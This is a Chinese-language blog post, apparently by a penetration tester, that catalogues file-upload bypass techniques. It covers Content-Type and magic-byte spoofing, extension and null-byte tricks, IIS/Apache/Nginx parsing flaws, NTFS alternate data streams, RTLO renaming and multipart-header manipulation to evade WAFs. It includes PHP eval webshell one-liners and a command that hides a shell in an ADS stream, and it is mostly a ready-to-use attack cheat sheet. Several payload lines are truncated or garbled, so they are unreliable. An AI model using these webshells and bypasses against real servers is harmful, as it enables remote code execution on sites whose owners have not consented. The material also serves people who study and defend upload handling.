关于文件上传的一些总结
0x00 前言
看到国外老哥利用文件上传绕过,获得2w美元的赏金,深感挫败。重新总结一下文件上传的知识点,顺便记录一下,以便以后的查找。老哥的文章:https://twitter.com/GodfatherOrwa/status/1582760830252511233。
0x01 文件上传校验姿势
客户端javascript校验
一般都是用javascript脚本检验上传文件的后缀。
服务端校验
-
文件类型校验,其实就是文件头content-type字段校验(image/gif)
-
文件内容头校验(GIF89a)
主要是检测文件内容开始处的文件幻数
-
后缀名黑名单校验
-
后缀名白名单校验
-
自定义正则校验
-
WAF设备校验(根据不同的WAF产品而定)
0x02 文件上传绕过校验姿势
客户端绕过
可以利用burp等抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。
服务端绕过
- 文件类型绕过
抓包改Content-type字段
比如通过抓包,将content-type字段改为image/gif
- 文件内容头绕过
在木马文件内容开头加上一些文件头信息
1 | GIF89a<?php phpinfo(); ?> |
判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:
1 | .JPEG;.JPE;.JPG,”JPGGraphic File” |
-
文件名/后缀绕过
-
截断
test.php%00.jpg
test.php0xoo.jpg
burp抓包,修改hex的值为00,也称00截断
-
windows特性
1
2
3
4
5
6
7
8
9ADS流:test.php::$DATA(见下)
test.php.
test.php_
test.php(空格)
*=.
<=*
>=?
test.<<<
test.php:1.jpg会生成一个test.php的空文件 -
ASP
1
2
3
4
5
6
7
8
9
10
11
12
13
14解析漏洞:
.asp;.jpg
.asp.jpg
.asp;jpg
+111.asp;+222.jpg
/111.asp/1.jpg
/111.aspx/1.jpg
后缀名:
asa,cer,cdx,ashx,asmx,xml,htr,asax
双文件扩展:
test.asp.jpg
RTLO:
asp.html-内容为一句话
php.txt-内容为一句话 -
JSP
1
2.jsp.jpg.jsp-用两个jsp包围中间的jpg
后缀名:jspf,jspa,jsps -
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14后缀名:.php3 ,.php5,.php7
大小写:pHp
解析漏洞:
1.php.jpg
1.jpg.php
1.php jpg(jpg前面两个空格)
1.php jpg(jpg前面一个空格)
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/.php
/1.jpg/php
特殊文件利用:
.htaccess
.user.ini
-
配合文件包含漏洞
1 | a.上传一个符合条件格式的文档,文档内容为一句话木马,eg:test.txt |
配合服务器解析漏洞
-
IIS 5.x/6.0解析漏洞
1
2
3
4
5
6
7IIS5.x-6.x:
1、目录解析(6.0):/1.asp/1.jpg 在此目录下的任意文件,服务器都解析为asp文件
2、文件解析:1.asp;.jpg
3、文件类型:1.asa,a.cer,1.cdx
IIS7.5:
IIS7.5是由于php配置文件中,开启了cgi.fix_pathinf -
Apache解析漏洞
1
2
3从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
后缀不识别:1.php.php123
配置错误:1.php.jpg -
Nginx解析漏洞
1
2
3
4
5
6
7Nginx默认是以CGI的方式支持PHP解析的,和IIS7.5一样开启了cgi.fix_pathinf
1.jpg/1.php
1.jpg%00.php
1.jpg/%20\1.php
上传一个名字为test.jpg,以下内容的文件
‘);?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php
配合操作系统文件命令规则
-
上传不符合windows文件命名规则的文件名
1
2
3
4
5
6test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
shell.php::$DATA…….
会被windows系统自动去掉不符合规则符号后面的内容。 -
linux下后缀名大小写
1
在linux下,如果上传php不被解析,可以试试上传pHp后缀的文件名。
CMS、编辑器漏洞
1 | CMS漏洞:针对不同CMS存在的上传漏洞进行绕过。 |
其他规则
-
利用WAF特性
1
2
3
4
5
6
7
8
9
10
11
12在恶意代码前加垃圾数据;
在数据包前加垃圾数据;
在Content-Disposition参数后面加垃圾数据;
多加一个filename;
更改HTTP请求方法;
删除实体里面的Conten-Type字段;
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
删除Content-Disposition字段里的空格
增加一个空格
修改Content-Disposition字段值的大小写
文件名后缀处回车
多个Content-Disposition -
利用NTFS ADS特性
DS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。
1
2
3
4
5test.php:a.jpg 生成test.php 空
test.php::$INDEX_ALLOCATION 生成test.php文件夹
test.php::$DATA\1.jpg 生成1.jpg(不可见的)
echo ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:hidden.jpg’)?>,这样子就可以正常解析我们的一句话了 -
利用RTLO
1
2
3
4新建一个文件php.html
内容为:<?php @eval($_POST['caidao']);?>
重命名文件:输入名字的文本框里点右键,选择“插入unicode控制字符”,然后就到了这个菜单栏,我们选择RLO
这个时候php.html已经变成了html.php了 -
特殊的长文件名绕过
1
2文件名使用非字母数字,比如中文等最大程度的拉长
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg -
反删除
1
将name=”file1”改成了file4,可以防止文件删除(JCMS漏洞)
-
图片转换/二次渲染/文件幻数检测
1
2
3在不破坏文件本身渲染情况下,在空白区进行代码填充,一般是图片注释
溢出攻击
绕过GD库
0x03 WAF Bypass
WAF如何拦截?
- 解析文件名,判断是否在黑名单内。
- 解析文件内容,判断是否为webshell。
- 文件目录权限
目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析。
垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。
-
构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验
-
将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验
-
将垃圾数据加到Content-Disposition参数后面,参数内容过长,可能会导致waf检测出错
多个filename
早期版本安全狗,可以多加一个filename
1 | Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php" |
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
1 | Content-Disposition: form-data; filename="xx.php"; name=file_x |
去掉引号,双引号变成单引号
1 | Content-Disposition: form-data; name=file_x; filename="xx.php" |
单引号、双引号、不要引号,都能上传。
大小写
1 | 对这三个固定的字符串进行大小写转换 |
去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
1 | Content-Disposition: name='file_x'; filename='xx.php' |
多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
1 | ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 |
多个分号
文件解析时,可能解析不到文件名,导致绕过。
1 | Content-Disposition: form-data; name="file_x";;; filename="test.php" |
Header在boundary前添加任意字符
PHP支持,JAVA报错
1 | Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2 |
filename换行
PHP支持,Java不支持
1 | Content-Disposition: form-data; name="file_x"; file |
name和filename添加任意字符串
PHP支持,Java不支持
1 | Content-Disposition: name="file_x"; bypass waf upload; filename="test.php"; |
POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。
此种情况可以上传一个POST型的数据包,抓包将POST改为GET。